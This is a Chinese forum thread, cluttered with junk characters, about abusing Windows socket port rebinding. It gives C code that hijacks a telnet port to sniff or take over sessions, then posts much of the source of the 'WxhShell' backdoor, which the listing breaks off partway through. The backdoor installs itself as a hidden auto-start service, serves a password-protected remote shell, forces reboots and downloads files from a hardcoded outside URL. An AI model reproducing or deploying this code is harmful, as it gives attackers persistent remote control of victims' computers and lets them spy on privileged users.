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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sf} Dh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %rQuBi# 1f  
qL5I#?OMkU  
  saddr.sin_family = AF_INET; -php6$|  
UQ Co}vM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); td2/9|Q  
@=S}=cl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R  
u?ek|%Ok  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I&c ~8Dw  
)-rW&"{U  
  这意味着什么?意味着可以进行如下的攻击: H14Ic.&  
YO)$M-]>%J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AT Zhr. H  
AZ|yX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,"-Rf<q/  
G%p~m%zIK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D:\g,\Z  
:!&;p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  89}Y5#W  
1&=0Wg0ig  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;.s l*q1A  
oj,lz?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ij5g^{_T;8  
8$N8}q%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NMO-u3<6.  
w JwX[\  
  #include $Kj&)&M  
  #include %b.UPS@I  
  #include  q}Z3?W  
  #include    T70QJ=,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k#TYKft  
  int main() %WG9 dYdS  
  { @xsP5je]  
  WORD wVersionRequested; aMARZ)V  
  DWORD ret; Q "r_!f  
  WSADATA wsaData; `?\tUO2_T  
  BOOL val; Wm'QP4`  
  SOCKADDR_IN saddr; Dz=k7zRg"  
  SOCKADDR_IN scaddr; Rr(* aC2P  
  int err; +!-~yf#RE  
  SOCKET s; iyZZ}M  
  SOCKET sc; x Ha=3n  
  int caddsize; !%<^K.wG  
  HANDLE mt; kU5.iK'  
  DWORD tid;   4Q=ftY<  
  wVersionRequested = MAKEWORD( 2, 2 ); 3Rg}+[b  
  err = WSAStartup( wVersionRequested, &wsaData ); fyz nuUl  
  if ( err != 0 ) { egR9AEJvz  
  printf("error!WSAStartup failed!\n"); O[17";P  
  return -1; s}&bJ"!Z  
  } RIM`omM  
  saddr.sin_family = AF_INET; I:(m aMc  
   NW|f7 ItX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h.rD}N\L  
$h9='0Wi0'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?zJpD8e  
  saddr.sin_port = htons(23); /5AW?2)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #0I{.Wy]  
  { e)nimq {6  
  printf("error!socket failed!\n"); G |*(8r()  
  return -1; Y/TlE?  
  } gsar[gZ  
  val = TRUE; - N>MBn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gMWBu~;!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AEmNHO@%q  
  { )o1eWL}  
  printf("error!setsockopt failed!\n"); j83? m  
  return -1; &Wp8u#4L  
  } S,fCV~Cio?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F1;lQA*7K.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3T\l]? z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r,SnXjp@  
wCMQPt)VS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c;f!!3&  
  { TG48%L  
  ret=GetLastError(); \u-0v.+|  
  printf("error!bind failed!\n"); Mj>}zbpk /  
  return -1; "}WJd$  
  } |as!Ui/J/  
  listen(s,2); 3>ex5  
  while(1) ] U@o0  
  { foF19_2 ,  
  caddsize = sizeof(scaddr); >t,M  
  //接受连接请求 >!e<}84b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c97{Pu  
  if(sc!=INVALID_SOCKET) 148V2H)  
  { 9CGNn+~YI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ubMOD<  
  if(mt==NULL) %OR|^M  
  { + Y.1)i}  
  printf("Thread Creat Failed!\n"); h[KvhbD3   
  break; 7T``-:`[  
  } cxeghy:;U  
  } RT/o$$  
  CloseHandle(mt); ,:Jus  
  } %\O#&=$E  
  closesocket(s); $aCd/&  
  WSACleanup(); snM Z0W  
  return 0; P;ZU-G4@   
  }   FQ%c~N  
  DWORD WINAPI ClientThread(LPVOID lpParam) u*S=[dq  
  { NE8 jC7  
  SOCKET ss = (SOCKET)lpParam; [,EpN{l  
  SOCKET sc; '[|+aJ  
  unsigned char buf[4096]; # M, 7  
  SOCKADDR_IN saddr; )"(]Lf's  
  long num; |rw%FM{F  
  DWORD val; =rA~7+}  
  DWORD ret; /gcEw!JS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a/Q$cOs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `cz2DR-"  
  saddr.sin_family = AF_INET; KAA-G2%M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [sV"ws  
  saddr.sin_port = htons(23); 2Q7R6*<N:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <F7kh[L_x  
  { MvLs%GE%  
  printf("error!socket failed!\n"); mpC`Yk  
  return -1; Ok5<TZ6t4k  
  } iF5'ygR-Z  
  val = 100; GY3 Wj  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;rI@ *An  
  { nZ1zJpBmI  
  ret = GetLastError(); %t=kdc0=_  
  return -1; +i ?S  
  } sKz`aqI  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `=+^|Y}  
  { @[<nQZw:  
  ret = GetLastError(); s..lK "b  
  return -1; x_=n-lAF  
  } [u@Jc,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0<"k8 k@J  
  { CHd9l]Rbe  
  printf("error!socket connect failed!\n"); I3 =#@2  
  closesocket(sc); @}_WE,r  
  closesocket(ss); +cJy._pi!  
  return -1; :a8 YV!X  
  } 7qOa ;^T  
  while(1) exh/CK4;  
  { _LP/!D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X)SDG#&+bF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mE O \r|A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wS+V]`b  
  num = recv(ss,buf,4096,0); dG QG!l+>  
  if(num>0) 8 a!Rb-Q:  
  send(sc,buf,num,0); \}6;Kf}\  
  else if(num==0) %98' @$:0  
  break; &wd;EGGT!q  
  num = recv(sc,buf,4096,0); ]Y6cwZOe  
  if(num>0) m42T9wSsx  
  send(ss,buf,num,0); R_] {2~J+  
  else if(num==0) iUMY!eqp  
  break; g 6]epp[8  
  } 2 &/v]  
  closesocket(ss); 1"8yLvtn  
  closesocket(sc); LZPuDf~/  
  return 0 ; !Bz0^ 1,L  
  } U<"WK"SM  
dca ;'$  
?1L.:CS  
==========================================================  [=O/1T  
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下边附上一个代码,,WXhSHELL L!/\8-&$P  
ERwHLA  
========================================================== 7e7 M@8+4  
=/<LSeLxH  
#include "stdafx.h" 1}hIW":3Sr  
4v p  
#include <stdio.h> kP#e((f,  
#include <string.h> A,su;Q h  
#include <windows.h> +[\eFj|=  
#include <winsock2.h> 9[!,c`pw  
#include <winsvc.h> $,I q;*7N  
#include <urlmon.h> (%iRaw7hp  
z"D.Bm~ ]  
#pragma comment (lib, "Ws2_32.lib") %6 Q4yk  
#pragma comment (lib, "urlmon.lib") ]v[|B  
T|&[7%F3"  
#define MAX_USER   100 // 最大客户端连接数 6cqP2!~  
#define BUF_SOCK   200 // sock buffer w6`9fX6{h  
#define KEY_BUFF   255 // 输入 buffer ,F&g5'  
VxP&j0M>  
#define REBOOT     0   // 重启 xw{-9k-~  
#define SHUTDOWN   1   // 关机 A5,t+8`aci  
- (#I3h;I  
#define DEF_PORT   5000 // 监听端口 js1!9%BV  
\ w3]5gJZ  
#define REG_LEN     16   // 注册表键长度 Z\[N!Zt|  
#define SVC_LEN     80   // NT服务名长度 ~HQ9i%exg  
Li*eGlId  
// 从dll定义API R1&unm0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =U|N=/y#hJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gTRF^knrY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uax+dl   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fEB7j-t  
7+./zN  
// wxhshell配置信息 Vcd.mE(t%  
struct WSCFG { Q1V9PRZX  
  int ws_port;         // 监听端口 9nu3+.&P  
  char ws_passstr[REG_LEN]; // 口令 2r$#m*  
  int ws_autoins;       // 安装标记, 1=yes 0=no IwGqf.!.>  
  char ws_regname[REG_LEN]; // 注册表键名 rt JtK6t  
  char ws_svcname[REG_LEN]; // 服务名 oYWR')8g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tx?dIy;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -}K<ni6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9&<x17'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B|o2K}%f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BL@:!t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?UM*Xah  
keRE==(D  
}; 5SCKP<rb  
04r$>#E  
// default Wxhshell configuration EpQ8a[<-3  
struct WSCFG wscfg={DEF_PORT, `3p~m,  
    "xuhuanlingzhe", c8Z wr]DF  
    1, 12Y  
    "Wxhshell", 1+?^0%AC  
    "Wxhshell", ;Eu3[[V  
            "WxhShell Service", 54zlnM$  
    "Wrsky Windows CmdShell Service", zB yqD$  
    "Please Input Your Password: ", -i-?.:  
  1, m%?V7-9!k  
  "http://www.wrsky.com/wxhshell.exe", @F(mi1QO  
  "Wxhshell.exe" X.`~>`8  
    }; 1;<R#>&,*  
:[;hu}!&  
// 消息定义模块 [w ;kkMJAy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \h8 <cTQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `y+tf?QN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ov<NsNX]  
char *msg_ws_ext="\n\rExit."; ;c$J=h]  
char *msg_ws_end="\n\rQuit."; .k,YlFvj  
char *msg_ws_boot="\n\rReboot..."; O|_h_I-2  
char *msg_ws_poff="\n\rShutdown..."; C]Q8:6b  
char *msg_ws_down="\n\rSave to "; ^*fQX1h<  
vloF::1  
char *msg_ws_err="\n\rErr!"; gv5*!eI  
char *msg_ws_ok="\n\rOK!"; Q_l'o3  
$1ndKB8)`J  
char ExeFile[MAX_PATH]; s&'QN=A  
int nUser = 0; \W1/p`  
HANDLE handles[MAX_USER]; m,fAeln  
int OsIsNt; -*.-9B~u  
! VjFW5'{  
SERVICE_STATUS       serviceStatus; Sp@-p9#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qWw\_S  
sVex (X  
// 函数声明 b86}% FM  
int Install(void); JU&+c6>  
int Uninstall(void); g}]t[}s1]  
int DownloadFile(char *sURL, SOCKET wsh); ](|\whI  
int Boot(int flag); ID/ F  
void HideProc(void); 3G kv4,w<  
int GetOsVer(void); Y3Q9=u*5  
int Wxhshell(SOCKET wsl); $ImrOf^qt  
void TalkWithClient(void *cs); Y`?-VaY  
int CmdShell(SOCKET sock); Dc)dE2  
int StartFromService(void); 1^gl}^|B  
int StartWxhshell(LPSTR lpCmdLine); 7`u$  
y( y8+ZT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B#9{-t3Vf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?IpLf\n-  
&r:7g%{n  
// 数据结构和表定义 7g3 >jh  
SERVICE_TABLE_ENTRY DispatchTable[] = %.Q !oYehj  
{ {z|;Xi::"  
{wscfg.ws_svcname, NTServiceMain}, JchSMc.9  
{NULL, NULL} tJN<PCG6"  
}; K(aJi,e>  
<tioJG{OT  
// 自我安装 i~r l o^  
int Install(void) r7qh>JrO  
{ 3do)Vg4  
  char svExeFile[MAX_PATH]; 6uR^%W8]  
  HKEY key; %j7XEh<'  
  strcpy(svExeFile,ExeFile); @V!r"Bkg.  
H= X|h)  
// 如果是win9x系统,修改注册表设为自启动 zP<pEI  
if(!OsIsNt) { <I;2{*QI2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tsk)zP,<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c*~]zR>s!  
  RegCloseKey(key); 13Lr }M&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ge8/``=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W 5R\Q,x6  
  RegCloseKey(key); K<>sOWZ'S  
  return 0; 8U_{|]M  
    } J[&b`A@.o  
  } M9f35 :  
} ]kboG%Dl?9  
else { [ +P#tIL  
j1(D]Z=\  
// 如果是NT以上系统,安装为系统服务 o6p98Dpg   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?Q&yEGm(  
if (schSCManager!=0) Q$fmD  
{ g&{9VK6.  
  SC_HANDLE schService = CreateService =z8f]/k*>  
  ( rXHv`k y  
  schSCManager, b5^OQH{v  
  wscfg.ws_svcname, 4ni3kmvX  
  wscfg.ws_svcdisp, M+x,opl  
  SERVICE_ALL_ACCESS, 0x!2ihf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1UQHq@aM  
  SERVICE_AUTO_START, ,UuH}E  
  SERVICE_ERROR_NORMAL, &ot/nQQ  
  svExeFile, 3)RsLI9  
  NULL, $cZUM}@  
  NULL, +sJrllrE(  
  NULL, zen*PeIrA^  
  NULL, +U@<\kIF  
  NULL #BST lz  
  ); )(@Hd  
  if (schService!=0) 9VbOQ{8  
  { /Ju;MeE9  
  CloseServiceHandle(schService); t2"FXTAq  
  CloseServiceHandle(schSCManager); vI@%Fg+D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |n] d34E  
  strcat(svExeFile,wscfg.ws_svcname); Ox-|JJ=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h5K$mA5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y.q(vzg\_  
  RegCloseKey(key); _l1NKk  
  return 0; `ta7Gc/:UY  
    } *Aa?yg:=  
  } fYW6b[lI  
  CloseServiceHandle(schSCManager); x)_0OR2lkp  
} n\Lb.}]1~  
} =J~ x  
6VhjJJ  
return 1; y  TDNNK  
} k]I0o)+O.  
RH|XxH*  
// 自我卸载 [2Ud]l:6E  
int Uninstall(void) ivz{L-  
{ -(bkr+N  
  HKEY key; 9rA=pH%<>B  
L/z),#  
if(!OsIsNt) { +U3m#Y)k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z R'H \Z  
  RegDeleteValue(key,wscfg.ws_regname); vz!s~cAt  
  RegCloseKey(key); h3;bxq!q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k|!EDze43?  
  RegDeleteValue(key,wscfg.ws_regname); nt@aYXK4|  
  RegCloseKey(key); T|6a("RL  
  return 0; >_LDMs[-p  
  } T'b_W,m~,u  
} =*LS%WI  
} Y(d$  
else { ~B(6+~%  
&kpwo )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EE W_gFn  
if (schSCManager!=0) Alxx[l\<J  
{ eD#hpl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :*2ud(  
  if (schService!=0) 3F<VH  
  { @W9x$  
  if(DeleteService(schService)!=0) { s4uhsJL V$  
  CloseServiceHandle(schService); s91JBP|B7  
  CloseServiceHandle(schSCManager); @#-q^}3  
  return 0; <(-hx+^  
  } Vkc#7W(  
  CloseServiceHandle(schService); bv*,#Qm  
  } aVd,xl  
  CloseServiceHandle(schSCManager); =i7`ek  
} ziCHjqT  
} W}]%X4<#rN  
NSDv ;|f  
return 1; =7o"u3hG  
} ?%y?rk <  
]:~OG@(  
// 从指定url下载文件 o+$7'+y1n-  
int DownloadFile(char *sURL, SOCKET wsh) ,kn"> k9  
{ 'u1?tQ=gmk  
  HRESULT hr; 6efnxxY}sa  
char seps[]= "/"; X7g1:L1Ys  
char *token; G"XVn~]  
char *file; v7`HQvQEz=  
char myURL[MAX_PATH]; u5%7}<nNi  
char myFILE[MAX_PATH]; 5EfS^MRf\n  
q+vx_4  
strcpy(myURL,sURL); I=NZokfS  
  token=strtok(myURL,seps); h|"9LU4a  
  while(token!=NULL) Bb"Bg\le,^  
  { jav#f{'  
    file=token; =Yt R`  
  token=strtok(NULL,seps); #*(t d<Cp  
  } _Iv6pNd/  
%$Aqle[  
GetCurrentDirectory(MAX_PATH,myFILE); 8UVmv=T  
strcat(myFILE, "\\"); fOMW"myQ  
strcat(myFILE, file); 9b*nLyYVz  
  send(wsh,myFILE,strlen(myFILE),0); 6<ZkJ:=  
send(wsh,"...",3,0); o$Z6zmxO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O~^"  
  if(hr==S_OK) Os1>kwC  
return 0; \9g+^vQg  
else *NClfkZ  
return 1; u9EgdpD  
6 jn3`D  
} :65~[$2  
 W0]gLw9*  
// 系统电源模块 5qP:/*+  
int Boot(int flag) ZXuv CI  
{ %GS(:]{n  
  HANDLE hToken; XUlS\CH@{  
  TOKEN_PRIVILEGES tkp; Uh):b%bS;J  
fk x \=  
  if(OsIsNt) { WV_.Tiy<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KW^7H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fu]s/'8B  
    tkp.PrivilegeCount = 1; vTx2E6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k-{<=>uM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sH[ROm  
if(flag==REBOOT) { u!W0P6   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +lMX{es\O  
  return 0; Y1J=3Y  
} ssN6M./6  
else { ktpaU,%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6 'Worj  
  return 0; hK,Sf ;5V  
} pj?f?.^  
  } Xn%pNxUL  
  else { 9uA>N  
if(flag==REBOOT) { ]h %Wiw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u2?|Ue@[  
  return 0; z3;*Em8Ir  
} _zwG\I|Q  
else { h9G RI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MfWyc_  
  return 0; (j3xAA  
} YS*9t Q{  
} 65aK2MS@  
%YC_Se7  
return 1; 1BpiV-]=  
} [CXrSST")E  
?3.b{Cq{-  
// win9x进程隐藏模块 /VN f{p  
void HideProc(void) ]33>m|?@  
{ ^>hWy D  
='Y!+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zp%Cr.)$  
  if ( hKernel != NULL ) c5D)   
  { "$N+"3I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gf<'WQ[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .w8J*JZ  
    FreeLibrary(hKernel); r 0iK  
  } wlqpn(XR  
esMX-.8Cx  
return; 283F)T\Rv  
} s pp f  
.Lsavpo  
// 获取操作系统版本 }%_ b$  
int GetOsVer(void) ;CPr]avY  
{ [J4gH^Z_  
  OSVERSIONINFO winfo; E{Ov>osq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "q.\>MCv  
  GetVersionEx(&winfo); J2xw) +  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~ijVmWNk  
  return 1; B=^)Ub5'  
  else ov_j4 j>6P  
  return 0; [8=vv7wS  
} )E-inHD /  
AN/;)wc  
// 客户端句柄模块 Pu*6"}#~  
int Wxhshell(SOCKET wsl) lY?QQ01D  
{ C8V/UbA /  
  SOCKET wsh; yEhTNBa*h{  
  struct sockaddr_in client; 8L:ji,"  
  DWORD myID; {_ i\f ]L  
6 '!4jh  
  while(nUser<MAX_USER) V`XNDNJ:  
{ {^7Hgg  
  int nSize=sizeof(client); 5BlR1*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,>0*@2  
  if(wsh==INVALID_SOCKET) return 1; eQp4|rf  
opy("qH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yl7&5)b#9  
if(handles[nUser]==0) IJ(  
  closesocket(wsh); 8{^WY7.'  
else @oV9)  
  nUser++; %&w3;d;c  
  } Wp!%-vzy&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sP;nGQ.eN  
%}Ss,XJ  
  return 0; x:7b/ j-  
} ?&63#B,iZ  
/tf5Bv'<  
// 关闭 socket p8h9Ng* &`  
void CloseIt(SOCKET wsh) Of[XKFn_  
{ d9;g]uj`  
closesocket(wsh); _lGdUt 2  
nUser--; |yQZt/*SOZ  
ExitThread(0); C1m]*}U  
} w~"KA6^  
->y J5smtY  
// 客户端请求句柄 7!EBH(,z  
void TalkWithClient(void *cs) )ttUWy$w  
{ +wN^c#~7  
;>?rP88t  
  SOCKET wsh=(SOCKET)cs; j}JrE,|  
  char pwd[SVC_LEN]; *KV0%)}sbL  
  char cmd[KEY_BUFF]; s/q7.y7n{  
char chr[1]; p~BRh  
int i,j; R3;Tk^5A  
 CohDO  
  while (nUser < MAX_USER) { smRE!f*q  
clL2k8VS  
if(wscfg.ws_passstr) { _m gHJ0v'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {B?Wu3-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !'&n -Q  
  //ZeroMemory(pwd,KEY_BUFF); jv%kOovj  
      i=0; 19Mu61  
  while(i<SVC_LEN) { {=!b/l;@  
QLEKsX7p>  
  // 设置超时 ktFhc3);!  
  fd_set FdRead; k@f g(}6  
  struct timeval TimeOut; qln3 k`  
  FD_ZERO(&FdRead); p?) ;eJtV/  
  FD_SET(wsh,&FdRead); beRVD>T  
  TimeOut.tv_sec=8; r&R B9S@*h  
  TimeOut.tv_usec=0; /H(? 2IHC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cDFO;Dr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %)|9E>fP]N  
b F"G[pD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Crho=RJPR  
  pwd=chr[0]; %|g>%D3Z?  
  if(chr[0]==0xd || chr[0]==0xa) { TDFkxB>  
  pwd=0; #LL?IRH9^  
  break; _aad=BrMK  
  } :Q $K<)[  
  i++; 7VqM$I  
    } /%}*Xh  
u09:Z{tL;@  
  // 如果是非法用户,关闭 socket Q<^Tl(`/N?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nrxo &9[@n  
} `\gnl'  
U(Nu%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K9$>Yxe|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m#PY,y  
9`I _Et  
while(1) { KxYwJ  
w+#C-&z  
  ZeroMemory(cmd,KEY_BUFF); a(kg/s  
@SJL\{_  
      // 自动支持客户端 telnet标准   tiB_a}5IB  
  j=0; )}D'<^=#T  
  while(j<KEY_BUFF) { _aFl_\3>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D coX+8 7  
  cmd[j]=chr[0]; hxVKV?Fl  
  if(chr[0]==0xa || chr[0]==0xd) { s%C)t6`9  
  cmd[j]=0; Xjo5v*Pu  
  break; /'].lp  
  } ^)(bM$(`  
  j++; ~P8tUhffK  
    } T>}5:,N~  
66/3|83Z  
  // 下载文件 5][Ztx  
  if(strstr(cmd,"http://")) { 5R@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \6E|pbJ}x  
  if(DownloadFile(cmd,wsh)) 0B@SN)<kH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /y _O 4  
  else %{AO+u2i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 01r 8$+  
  } t2F _uCr  
  else { k2c}3 MeP  
6x h:/j3  
    switch(cmd[0]) { xy5lE+E_U  
  <tF9V Jq  
  // 帮助 Gn|F`F  
  case '?': { M m[4yP%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8oUpQcim  
    break; .y_/Uwu  
  } R:e<W/P"  
  // 安装 hd>aZ"nm1  
  case 'i': { _/uFsYC  
    if(Install()) K/tRe/t }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6-yd]("  
    else "U!AlZ`g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WG N=Y~E  
    break; d F9!G;V  
    } CdasP9"1  
  // 卸载 P<l&0dPO8  
  case 'r': { A )^`?m3  
    if(Uninstall()) GN ]cDik  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ndvt[4L  
    else _hRcc"MS`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f!oT65Vmi  
    break; %+8F'&X  
    } P_?gq>E8  
  // 显示 wxhshell 所在路径 bvv|;6  
  case 'p': { ),UX4%K=  
    char svExeFile[MAX_PATH]; Gb8D[1=u=  
    strcpy(svExeFile,"\n\r"); ,4zmb`dP<  
      strcat(svExeFile,ExeFile); c_-drS  
        send(wsh,svExeFile,strlen(svExeFile),0); 8TGOx%}i  
    break; DF1I[b=]  
    } SH_(rQby  
  // 重启 zm]aU`j  
  case 'b': { /tP|b _7O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  :rHJ4Tl  
    if(Boot(REBOOT)) uJFdbBDSh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fBRo_CU8!  
    else { 4]h =yc R  
    closesocket(wsh); $ et0s;GBv  
    ExitThread(0); J)`-+}7$v  
    } f|h|q_<;  
    break; :n0vQ5a  
    } h\5OrD@L  
  // 关机 k5D%y3|9  
  case 'd': { (@%gS[]  
